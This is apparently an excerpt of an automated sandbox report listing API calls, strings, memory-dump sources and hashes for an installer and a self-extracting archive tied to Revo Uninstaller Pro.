SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00464260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: fed5d4dc3d325cae90a53ae0d2fcb83d70f3ae94d69320437858ee33f07fdf71
Instruction ID: dda4e0b8355a10cf3a4659add9ec42a83d374e9472f600803517c33aed587cab
Opcode Fuzzy Hash: fed5d4dc3d325cae90a53ae0d2fcb83d70f3ae94d69320437858ee33f07fdf71
Instruction Fuzzy Hash: 96418A71804209AFCF058FA5DE459BFBBB9FF45314F00802EF991AA1A0C7749A55DFA4

Function 004062E8 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406483,?,?), ref: 00406323
GetShortPathNameW.KERNEL32(?,0045ADE8,00000400), ref: 0040632C

Part of subcall function 004060F7: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406107
Part of subcall function 004060F7: lstrlenA.KERNEL32(00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406139

GetShortPathNameW.KERNEL32(?,0045B5E8,00000400), ref: 00406349
wsprintfA.USER32 ref: 00406367
GetFileSize.KERNEL32(00000000,00000000,0045B5E8,C0000000,00000004,0045B5E8,?,?,?,?,?), ref: 004063A2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004063B1
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063E9
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,0045A9E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 0040643F
GlobalFree.KERNEL32(00000000), ref: 00406450
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406457

Part of subcall function 00406192: GetFileAttributesW.KERNEL32(00000003,00403138,004D9000,80000000,00000003), ref: 00406196
Part of subcall function 00406192: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004061B8

Strings

%ls=%ls, xrefs: 0040635D
[Rename], xrefs: 004063D1, 004063E3

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 4099efde17faabea8ca23ed937e5d9f442c3975f0fb2967c08604eca1be790f2
Instruction ID: 026d517b253a5d6ccbe57f845948a58d3e37c3b70aabf831ebb2f23b3e620644
Opcode Fuzzy Hash: 4099efde17faabea8ca23ed937e5d9f442c3975f0fb2967c08604eca1be790f2
Instruction Fuzzy Hash: 14312370600315BBD2207F659D49F6B3A6CDF41759F12403AFA02F62D3EA7C982986BD

Function 00404688 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004046A5
GetSysColor.USER32(00000000), ref: 004046E3
SetTextColor.GDI32(?,00000000), ref: 004046EF
SetBkMode.GDI32(?,?), ref: 004046FB
GetSysColor.USER32(?), ref: 0040470E
SetBkColor.GDI32(?,?), ref: 0040471E
DeleteObject.GDI32(?), ref: 00404738
CreateBrushIndirect.GDI32(?), ref: 00404742

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: dc9e33635e48260261a40037ac820fc698cd45b4c1bae75aa0874807b7806060
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: B321A7715007049BCB309F38DA48B5B7BF4AF82714B00893DE9A6B72E0D778E904CB58

Function 00404FDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404FF7
GetMessagePos.USER32 ref: 00404FFF
ScreenToClient.USER32(?,?), ref: 00405019
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040502B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00405051

Strings

f, xrefs: 0040502D

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: 35c53ee3dfde216a4a17f9e8076a2c946c4c65f0c866826bb74e9a6ab3448864
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: F3015E31900218BADB00DBA4DD85BFFBBBCEF55711F10412BBA51B61D0D7B49A058BA4

Function 00401E73 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0041E5F8), ref: 00401EF8

Strings

Tahoma, xrefs: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: e7f7f24e504178032ddcf332a7fccd4deaa03fd5eea84bddf963d4e06575246e
Instruction ID: 75d1d1a794b0a88cdf1cba10915d0c929158808af8533b27f0e618500a238d04
Opcode Fuzzy Hash: e7f7f24e504178032ddcf332a7fccd4deaa03fd5eea84bddf963d4e06575246e
Instruction Fuzzy Hash: 5C01D475900260FFEB005BB5AD0DBDD7FB0AB29300F50C83AF542B61E2CAB904448B2D

Function 00406950 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069B3
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004069C2
CharNextW.USER32(?,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069C7
CharPrevW.USER32(?,?,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069DA

Strings

*?|<>/":, xrefs: 004069A2

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 7c4491ab095b24fecdd0000f8ec6f0e383ca7ce11269c465865605e120ff5cd6
Instruction ID: ee050b90af12f7da754e5e1a7cefda923f304df8a209a79dab08f9ec4fc7f4f9
Opcode Fuzzy Hash: 7c4491ab095b24fecdd0000f8ec6f0e383ca7ce11269c465865605e120ff5cd6
Instruction Fuzzy Hash: 0311B695800612A5DB303B148D40AB7A2F8AF55794F52403FED9AB3AC1EB7C4C9286BD

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: acaf4fc398a66893391ff6439948fdf9f5bbe1b70c5a8b97b274ab2e0b988985
Instruction ID: 5e325e4eb8c599eaadb2b1545cb8ec7488c9788084a271734582f96bfbf33a22
Opcode Fuzzy Hash: acaf4fc398a66893391ff6439948fdf9f5bbe1b70c5a8b97b274ab2e0b988985
Instruction Fuzzy Hash: FA213D7150010ABFEF129F90CE89EEF7B7DEB54388F110076B909B11E0D7759E54AA64

Function 0040569B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004056CA
CallWindowProcW.USER32(?,?,?,?), ref: 0040571B

Part of subcall function 0040466D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040467F

Strings

, xrefs: 004056AB

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 40cceb3117afc414cce41506be3bec60ebea1126e7aded61cc02dde06f92d8ba
Instruction ID: 4a72d77d5ba7db911775b8fd6e8698557fa8fe3088d7b3c11d294ca78c68b4d0
Opcode Fuzzy Hash: 40cceb3117afc414cce41506be3bec60ebea1126e7aded61cc02dde06f92d8ba
Instruction Fuzzy Hash: 6801B131100708EFDB204F90DDC0A9B3665FB80750F504036F605761D1D77A8C91EE2D

Function 004060F7 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406107
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040611F
CharNextA.USER32(00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406130
lstrlenA.KERNEL32(00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406139

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 95544cd0fbc1c68b6442233ab1bb13ea59abf9e1bd9498eecabbd7b85e38d71d
Instruction ID: 5f3436636367d0d5bc92f6b0e419d408aad35ecbe6557c54d873c5627a92c34c
Opcode Fuzzy Hash: 95544cd0fbc1c68b6442233ab1bb13ea59abf9e1bd9498eecabbd7b85e38d71d
Instruction Fuzzy Hash: E4F0BB35604414FFC702DFA5DD00D9EBBA8EF46350B2640B9F841FB211D674DE129B99

Analysis Process: PACK.EXEPID: 3756, Parent PID: 1620COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	1498
Total number of Limit Nodes:	32

Executed Functions

Function 00FECBB8 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 199
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDFD49: GetModuleHandleW.KERNEL32 ref: 00FDFD61
Part of subcall function 00FDFD49: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00FDFD79
Part of subcall function 00FDFD49: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00FDFD9C

Part of subcall function 00FE95F8: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00FE9600

Part of subcall function 00FE9AA0: OleInitialize.OLE32(00000000), ref: 00FE9AB9
Part of subcall function 00FE9AA0: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00FE9AF0
Part of subcall function 00FE9AA0: SHGetMalloc.SHELL32(010175C0), ref: 00FE9AFA

Part of subcall function 00FE1017: GetCPInfo.KERNEL32(00000000,?), ref: 00FE1028
Part of subcall function 00FE1017: IsDBCSLeadByte.KERNEL32(00000000), ref: 00FE103C

GetCommandLineW.KERNEL32 ref: 00FECC00
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00FECC27
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00FECC38
UnmapViewOfFile.KERNEL32(00000000), ref: 00FECC72

Part of subcall function 00FEC891: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00FEC8A7
Part of subcall function 00FEC891: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00FEC8E3

CloseHandle.KERNEL32(00000000), ref: 00FECC7B
GetModuleFileNameW.KERNEL32(00000000,0102CE18,00000800), ref: 00FECC96
SetEnvironmentVariableW.KERNEL32(sfxname,0102CE18), ref: 00FECCA8
GetLocalTime.KERNEL32(?), ref: 00FECCAF
_swprintf.LIBCMT ref: 00FECCEE
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00FECD00
GetModuleHandleW.KERNEL32(00000000), ref: 00FECD03
LoadIconW.USER32(00000000,00000064), ref: 00FECD1A
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001A5D1,00000000), ref: 00FECD6B
Sleep.KERNEL32(?), ref: 00FECD99
DeleteObject.GDI32 ref: 00FECDD8
DeleteObject.GDI32(?), ref: 00FECDE4
CloseHandle.KERNEL32 ref: 00FECE23

Strings

winrarsfxmappingfile.tmp, xrefs: 00FECC1B
C:\Program Files\VS Revo Group\Revo Uninstaller Pro, xrefs: 00FECBCD
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00FECCDF
sfxstime, xrefs: 00FECCFB
STARTDLG, xrefs: 00FECD60
sfxname, xrefs: 00FECCA3

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Program Files\VS Revo Group\Revo Uninstaller Pro$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-1997235929
Opcode ID: eca1adf1ecf37fe21d90ca57140ef7ae3d72a0df43c6f661e1cc26c8ba063fb3
Instruction ID: bfbc5e344edb2db2c0366db901b8e3462a7884047676e2ae5d0330bf2f306633
Opcode Fuzzy Hash: eca1adf1ecf37fe21d90ca57140ef7ae3d72a0df43c6f661e1cc26c8ba063fb3
Instruction Fuzzy Hash: D2611631900390AFD331BBA2EC49F6B3BACAB48710F040429F9C596185DBBE9D45E7A1

Function 00FDA2DF Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,00FDA1DA,000000FF,?,?), ref: 00FDA314
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00FDA1DA,000000FF,?,?), ref: 00FDA34A
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00FDA1DA,000000FF,?,?), ref: 00FDA352
FindNextFileW.KERNEL32(?,?,?,?,?,?,00FDA1DA,000000FF,?,?), ref: 00FDA37A
GetLastError.KERNEL32(?,?,?,?,00FDA1DA,000000FF,?,?), ref: 00FDA386

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 94291e3e8d27ab93a3f218a09f4f5af35b730c4accdaddaa7ab48cd55c75daa5
Instruction ID: 1c834f97587d87a78e53c612c5bd297717cbd6bd5e024e5e6dc46eb26a38320b
Opcode Fuzzy Hash: 94291e3e8d27ab93a3f218a09f4f5af35b730c4accdaddaa7ab48cd55c75daa5
Instruction Fuzzy Hash: F841B672504385AFC324EF28C8C4ADAF3EABF48350F040A2AF5D9D3201D775A954DB96

Function 00FF6AF3 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00FF6AC9,?,0100A800,0000000C,00FF6C20,?,00000002,00000000), ref: 00FF6B14
TerminateProcess.KERNEL32(00000000,?,00FF6AC9,?,0100A800,0000000C,00FF6C20,?,00000002,00000000), ref: 00FF6B1B
ExitProcess.KERNEL32 ref: 00FF6B2D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e8ca3729eeb8aa0011142c75201f2351c70257869c4b726a5a1c810bf7e82cd6
Instruction ID: afca823d21247a2c18428dc9b675fcacdf46720f289965e537f396589c97a3a5
Opcode Fuzzy Hash: e8ca3729eeb8aa0011142c75201f2351c70257869c4b726a5a1c810bf7e82cd6
Instruction Fuzzy Hash: A1E0B63540020CABDF22AF64D94DAA83F6AEF84755F104414FB49CA132CF7ADD52EB90

Function 00FD83C0 Relevance: 3.9, APIs: 2, Instructions: 940COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD83C5
_memcmp.LIBVCRUNTIME ref: 00FD883A

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: f4d76c82067bcbbaa71cdf75f63e1b243fc76325c63f164843ee785e5368c619
